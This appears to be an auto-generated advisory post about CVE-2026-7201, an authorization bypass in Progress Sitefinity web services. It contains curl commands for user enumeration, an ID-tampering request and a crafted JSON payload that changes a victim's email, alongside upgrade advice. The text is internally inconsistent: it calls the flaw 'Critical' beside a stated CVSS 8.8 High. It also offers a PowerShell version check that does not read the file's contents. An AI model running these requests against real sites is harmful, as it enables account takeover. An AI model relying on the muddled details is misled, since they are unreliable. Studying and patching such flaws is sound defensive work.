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CVE-2026-7201 is a critical authorization bypass vulnerability (CWE-639) affecting Progress Sitefinity web services. It allows a remote authenticated attacker to manipulate account properties of other users by modifying user-controlled keys in API requests. The root cause is improper validation of object references in web service endpoints: when a request containing a user identifier (such as a numeric ID or GUID) is received, the system does not verify whether the authenticated caller is authorized to access or modify that specific resource. An attacker with low-privileged credentials (e.g., a basic content editor) can therefore change the ID parameter in a crafted request and target another user’s account settings, including email addresses, passwords, or role assignments. Successful exploitation requires knowledge of the target user’s identifier, which is not normally exposed to low-privileged users but could be obtained through information disclosure, enumeration, or social engineering. The vulnerability impacts Sitefinity versions 15.2.x before 15.2.8441, 15.3.x before 15.3.8531, and 15.4.x before 15.4.8630. CVSS v3.1 scores are 8.8 (High) with low attack complexity, low privileges required, and high impact on confidentiality, integrity, and availability. No public exploit exists, but the flaw is considered easy to exploit remotely, leading to full account compromise. Upgrading to the fixed versions eliminates the vulnerability.
DailyCVE Form:
Platform: Progress Sitefinity
Version: 15.2.x-15.4.x
Vulnerability: Authorization Bypass (CWE-639)
Severity: Critical
Date: 2026-06-02
Prediction: 2026-06-09
What Undercode Say:
Verify Sitefinity version via PowerShell (Windows)
Get-ItemProperty "C:\Program Files\Progress\Sitefinity\Web.config" | Select-String "SitefinityVersion"
Query the backend for user enumeration (requires low-privileged token)
curl -X GET "https://target.com/sitefinity/services/security/users.svc/GetUsers" -H "Authorization: Bearer <low_priv_token>"
Attempt to modify another user's email via ID tampering
curl -X PUT "https://target.com/sitefinity/services/users.svc/UpdateUser" -H "Content-Type: application/json" -d '{"UserId":"<victim_guid>","Email":"[email protected]"}'
Exploit:
An authenticated attacker intercepts a profile update request, replaces the `userId` parameter with another user’s GUID, and resubmits the request to change email, password reset token, or role membership. Example crafted payload:
`{“userId”:”4893a1b2-3c4d-5e6f-7a8b-9c0d1e2f3a4b”,”email”:”[email protected]”}`
Protection:
- Upgrade to Sitefinity 15.2.8441, 15.3.8531, or 15.4.8630 immediately.
- Enforce strict authorization checks on all user‑controlled keys (e.g., validate that `userId` matches the authenticated session).
- Enable WAF rules to block requests containing suspicious ID parameter changes.
Impact:
Successful exploitation allows an attacker to fully compromise any targeted user account, leading to data theft, privilege escalation, and persistent backdoor access within the Sitefinity CMS.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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